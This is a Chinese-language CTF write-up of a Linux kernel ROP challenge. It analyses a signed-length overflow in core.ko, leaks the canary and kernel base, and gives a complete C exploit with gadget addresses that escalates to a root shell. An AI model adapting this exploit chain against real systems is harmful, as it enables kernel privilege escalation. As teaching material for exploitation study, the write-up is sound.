再从一道题熟悉一下Kernel ROP的流程
题目分析
附件
给出了四个文件:
- bzImage内核镜像
- core.cpio打包的文件系统
- start.sh启动脚本
- vmlinux内核源码
先用file查看core.cpio文件,发现是gzip压缩过的,所以先利用gunzip解压出cpio文件
再使用cpio提取出文件系统
1
| cpio -idmv < rootfs.cpio
|
其中有一个gen_cpio.sh是打包core.cpio的命令。
init
再看一下init文件中的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
poweroff -d 0 -f
|
重点注意到cat /proc/kallsyms > /tmp/kallsyms
和insmod /core.ko
,可以得到两处信息:
- 即使没有root权限查看
/proc/kallsyms
,但是可以通过/tmp/kallsyms
定位函数在内存的的加载地址。
- 漏洞应该存在于core.ko中
需要注意的是poweroff -d 120 -f &的作用是定时关机,为了避免不必要的麻烦,注释掉这一行即可
start
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
开启了Kaslr,所以内核内存地址加载地址具有随机化。
为了方便调试,可以将kaslr保护关闭
调试时的start.sh
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -gdb tcp::1234 \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
代码分析
init_module
在 /proc
文件系统的根目录下创建一个名为 "core"
的文件,可以在/proc目录下找到一个名字为core的文件。
core_ioctl
根据传入的参数分别对应三个功能
core_read
关键点在copy_ti_user,可以实现从内核栈复制数据到用户栈。
core_write
copy_from_user
可以实现从用户栈中复制数据到内核的全局变量name中
core_copy_func
判断a1大小,然后利用qmemcpy从全局变量name中复制a1范围到内核栈中v2处。a1是有符号数,但是作为qmemcpy的rdx参数时却转变为无符号的,所以利用负数绕过判断,造成溢出。
利用思路
泄露地址
由于开启了kaslr,所以需要泄露内核函数地址然后计算出偏移。
注意到core_read
中的
off值可以由我们从ioctl控制,所以可以利用copy_to_user,将内核栈中的数据复制到用户栈,然后再输入用户栈的内容即可完成泄露。注意到core.ko中开启了canary,所以需要连带canary一并泄露出来。
溢出构造ROP
先通过core_write构造ROP链保存到name中,然后通过core_copy_func将name处内存复制到内核栈中
可以完成溢出。
思路就是这样,接下来就是构造ROP:
- 执行commit_creds(prepare_kernel_cred(null))
- 返回用户态
- 执行system(‘/bin/sh’)
利用ropper寻找gadget
虽然比ROPgadget快,但是也是非常之卡,还容易卡死机
1 2 3 4 5 6 7
| 0xffffffff81000091: ret; 0xffffffff81000e40: pop rdi; ret; 0xffffffff810ca8f0: pop rcx; ret; 0xffffffff810a0f49 pop rdx; ret; 0xffffffff8106a6d2 mov rdi,rax;jmp rdx 0xffffffff81a012da swapgs;popfq;ret 0xffffffff81050ac2 iretq
|
由于没有直接的mov rdi,rax;ret;所以利用pop rdx;jmp rdx实现
原始无pie的vmlinux基址是0xffffffff81000000
1
| commit_creds`的地址是`0xffffffff81000000+0x9c8e0
|
1
| prepare_kernel_creds`的地址是`0xffffffff8109cce0
|
这些全是no-pie情况下的地址。所以为了得到真实的函数地址,所以通过之前泄露的函数地址计算出和no-pie下的函数地址的偏移
offset,这个偏移再加上no-pie的地址就是真实地址。
举个例子:
泄露的地址是proc_reg_unlocked_ioctl+49的函数地址为leak_addr
proc_reg_unlocked_ioctl+49 0xffffffff811dd6a0+49
1
| offset = leak_addr - (0xffffffff811dd6a0+49)
|
之后计算commit_creds、prepare_kernel_creds等gadget时都是需要加上offset
所以构造的ROP就是
1
| unsigned long fake_name[] = {0,0,0,0,0,0,0,0,canary,0,pop_rdi_ret,0,prepare_kernel_cred,pop_rdx_ret,commit_creds,mov_rdi_rax_jmp_rdx,swapgs_popfq_ret,0,iretq_ret,getshell,user_cs,user_eflags,user_rsp,user_ss};
|
EXP利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <unistd.h> #include<sys/ioctl.h>
unsigned long int user_cs,user_ss,user_rsp,user_eflags; void save_iret_data() { __asm__ __volatile__ ("mov %%cs, %0" : "=r" (user_cs)); __asm__ __volatile__ ("pushf"); __asm__ __volatile__ ("pop %0" : "=r" (user_eflags)); __asm__ __volatile__ ("mov %%rsp, %0" : "=r" (user_rsp)); __asm__ __volatile__ ("mov %%ss, %0" : "=r" (user_ss)); }
void getshell(){ system("/bin/sh"); }
int main() { save_iret_data(); int fd1 = open("/proc/core", O_WRONLY); if (fd1 < 0) { perror("open"); exit(1); } char buf[96]; memset(buf, 0, 96); ioctl(fd1,0x6677889C,64); ioctl(fd1,0x6677889B,buf);
printf("buf_addr: %p\n",buf); printf("canary: %p\n",*(unsigned long *)buf); printf("leak_addr: %p\n",*(unsigned long *)(buf+32));
unsigned long canary = *(unsigned long *)buf; unsigned long leak_addr = *(unsigned long *)(buf+32);
unsigned long offset = leak_addr - 0xffffffff811dd6d1; printf("base_kaddr: %p\n",offset);
unsigned long prepare_kernel_cred = offset + 0xffffffff8109cce0; unsigned long commit_creds = offset + 0xffffffff8109c8e0; printf("prepare_kernel_cred: %p\n",prepare_kernel_cred); printf("commit_creds: %p\n",commit_creds);
unsigned long pop_rdi_ret = offset + 0xffffffff81000b2f; unsigned long pop_rcx_ret = offset + 0xffffffff810ca8f0; unsigned long mov_rdi_rax = offset + 0xffffffff81288ff7; unsigned long pop_rdx_ret = offset + 0xffffffff810a0f49; unsigned long mov_rdi_rax_jmp_rdx = offset + 0xffffffff8106a6d2; unsigned long swapgs_popfq_ret = offset + 0xffffffff81a012da; unsigned long iretq_ret = offset + 0xffffffff81050ac2;
unsigned long fake_name[] = {0,0,0,0,0,0,0,0,canary,0,pop_rdi_ret,0,prepare_kernel_cred,pop_rdx_ret,commit_creds,mov_rdi_rax_jmp_rdx,swapgs_popfq_ret,0,iretq_ret,getshell,user_cs,user_eflags,user_rsp,user_ss};
printf("size",sizeof(fake_name)); write(fd1, fake_name, sizeof(fake_name)); ioctl(fd1,0x6677889A,0xffffffffffff0000+sizeof(fake_name));
return 0; }
|
成功提权!